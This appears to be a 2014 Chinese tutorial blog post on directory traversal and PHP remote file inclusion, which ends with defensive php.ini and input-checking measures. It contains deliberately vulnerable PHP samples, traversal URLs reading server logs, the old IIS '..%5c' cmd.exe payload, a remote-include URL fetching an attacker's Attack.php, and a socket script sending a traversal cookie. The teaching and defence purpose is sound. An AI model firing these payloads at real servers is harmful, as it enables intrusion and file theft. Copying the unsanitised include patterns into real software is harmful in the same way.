目录
0x1:目录穿越攻击
0x2:远程文件引入攻击
0x3:防范的方法


目录穿越攻击

目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意地存取被限制的文件夹、执行命令或查找数据。目录穿越攻击,也有人称为Path

Traversal攻击。

为了避免使用者存取到服务器上未经许可的文件,服务器提供两个安全机制:
(1)根目录
(2)文件存取权限

这些安全措施是为了避免黑客执行可执行文件,如Windows系统上的cmd.exe文件,以及避免黑客存取重要的文件,如UNIX系统上的passwd密码文件。

但是黑客可以使用目录穿越攻击,来查找、执行或存取Web应用程序所在的根目录以外的文件夹。如果目录穿越攻击成功,黑客就可以执行破坏性的命令来攻击网站。

目录穿越攻击可能发生在Web应用程序上,也可能发生在Web服务器上。在Web应用程序上发生的目录穿越攻击,是因为Web应用程序要求使用者输入文件名。例如将使用者的账号作为保存文件

的名称,当使用者输入账号后,程序会立即查找并打开指定用户名为文件名的文件。

例如:openfile.php
<?php
if(isset($_GET["file"]))
{
@readfile("home/users/".$_GET["file"]);
}
?>

openfile.php文件会读取一个文件名称,这个文件名称由URL参数fie所提供。readfile函数会输出文件的内容,@操作符用来屏蔽错误信息。

将这个文件名称与目录字符串"home/users"进行结合后,就是在Web应用程序所在的根目录下的文件路径。

Web应用程序所在的根目录是:
C:\AppServ\www\

假设使用者输入的文件名称是data.txt,那么data.txt文件的完整路径是:
C:\AppServ\www\home\users\data.txt

data.txt内容:目录穿越攻击(Directory Traversal Attack)

现在在浏览器的地址栏中输入下列地址:
http://localhost/openfile.php?file=data.txt

浏览器显示结果如下:
目录穿越攻击(Directory Traversal Attack)


目录穿越攻击实例:
刚才是正常的输入文件名称,现在要开始执行目录穿越攻击。在浏览器的地址栏输入下列地址:
http://localhost/openfile.php?file=../../Apache2.2/logs/access.log

此时,文件访问路径就变成了:C:\AppServ\Apache2.2\logs\access.log

这表明要打开Apache服务器内的日志文件access.log!服务器日志文件access.log应该是只能让网站管理员查看,但是黑客利用目录穿越攻击,就能够随便地打开、查看,甚至执行网站内的绝密文件。

再来看一个例子:
Microsoft的IIS服务器在4.0/5.0版本的时候曾经发生目录穿越攻击,在浏览器的地址栏中输入下面的地址:
http://localhost/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\
执行Windows的cmd.exe文件,cmd.exe是Windows的命令行程序(cmdshell)。输入这个地址后,会执行"dir c:\"命令来列出C:\目录中的所有文件。

在这个地址中,"%5c"是"\"字符的URL编码。IIS4.0/5.0没有将地址中特殊字符进行处理就直接显示,因此才会发生目录穿越攻击。


远程文件引入攻击(也叫远程文件调用(Remote Inclusion))

如果将php.ini文件中的allow_url_fopen设置为On,就可以将远程文件的URL当做是本机的文件来处理。并且可以将远程文件的URL发送给readfile,fopen等函数来处理。

要加载文件时,使用include函数:
include File_URL


远程文件引入攻击实例:

例如:include.php
<?php
if(isset($_GET["file"]))
{
@include($_GET["file"]);
readfile($_GET["file"]);
}
?>

include.php文件会读取一个文件名称,这个文件名称由URL参数file所提供。include语句会引入URL参数file所提供的文件名称,readfile函数会输出文件的内容,@用来屏蔽错误信息。

例如:beinclude.php
<?php
echo "hello milantgh";
?>

我们在浏览器输入:
http://localhost/include.php?file=http://localhost/beinclude.php

浏览器则显示:
hello milantgh

黑客要执行远程文件引入攻击时,他会在自己的网站www.milantgh.com内建立具有攻击性的PHP文件Attack.php,然后使用:
http://localhost/include.php?file=http://www.milantgh.com/Attack.php
此时,目标网站就会加载黑客的Attack.php文件并执行Attack.php文件


远程文件引入攻击与目录穿越攻击结合:

例如:com1.php
<?php
if(isset($_GET["file"]))
{
@include("home/users/".$_GET["file"]);
}
?>

这是将远程文件调用攻击与目录穿越攻击结合来进行攻击的代码。
远程文件调用攻击手法是:
@include("home/users/".$_GET["file"]);
而目录穿越攻击所用手法是:
http://localhost/com1.php?file=../../Apache2.2/logs/access.log

二者结合来进行攻击,更能产生强大的破坏力。


远程文件引入攻击与HTTP响应拆分攻击结合:

例如:com2.php
<?php
$menufile="menu.php";
if(isset($_COOKIE["MENUFILE"]))
{
$menufile=$_COOKIE["MENUFILE"];
}
@include("home/users/".$menufile);
?>

com2.php文件原本的作用是要调用menu.php文件,但是如果设置cookie变量$_COOKIE["MENUFILE"]的话,就引入$_COOKIE["MENUFILE"]变量所指的文件。

黑客可以利用com2.php文件读取cookie变量$_COOKIE["MENUFILE"]的值,在HTTP请求中加入Cookie表头来设置$_COOKIE["MENUFILE"]的值。

HTTP请求
GET /com2.php HTTP/1.1
Cookie:MENUFILE=../../Apache2.2/logs/access.log
Host:localhost

由于$_COOKIE["MENUFILE"]的值被这个HTTP请求设置为:
Cookie:MENUFILE=../../Apache2.2/logs/access.log

因此,com2.php文件读取的不再是menu.php文件内容,而是Apache服务器的access.log文件的内容。

也可以不使用Windows的Telnet程序,而改用hack.php文件来提交HTTP请求:
hack.php文件如下:
<?php
//打开Internet Socket连接
$fp=fsockopen("localhost", 80);
//写入HTTP请求的表头
fputs($fp, "GET /com2.php HTTP/1.1\r\n");
fputs($fp, "Cookie:MENUFILE=../../Apache2.2/logs/access.log\r\n");
fputs($fp, "Host:localhost\r\n\r\n");

//HTTP响应的字符串
$http_response="";

while(!feof($fp))
{
//读取128个字节的HTTP响应字符串
$http_response=fgets($fp, 128);
}

//关闭Internet Socket连接
fclose($fp);

//显示HTTP响应字符串
echo nl2br(htmlentities($http_response));
?>


防范的方法

要防范目录穿越与远程文件调用攻击,可以使用下列方法:
(1)不要使用使用者提供的文件名
(2)检查使用者输入的文件名中是否有".."的目录级层的字符
(3)php.ini文件中设置open_basedir来指定可以打开文件的目录
(4)php.ini文件中设置allow_url_fopen为Off,来让Web应用程序不能打开远程文件
(5)realpath与basename函数来处理使用者输入的文件名

posted on 2014-05-28 11:34  milantgh  阅读(2693)  评论(0编辑  收藏  举报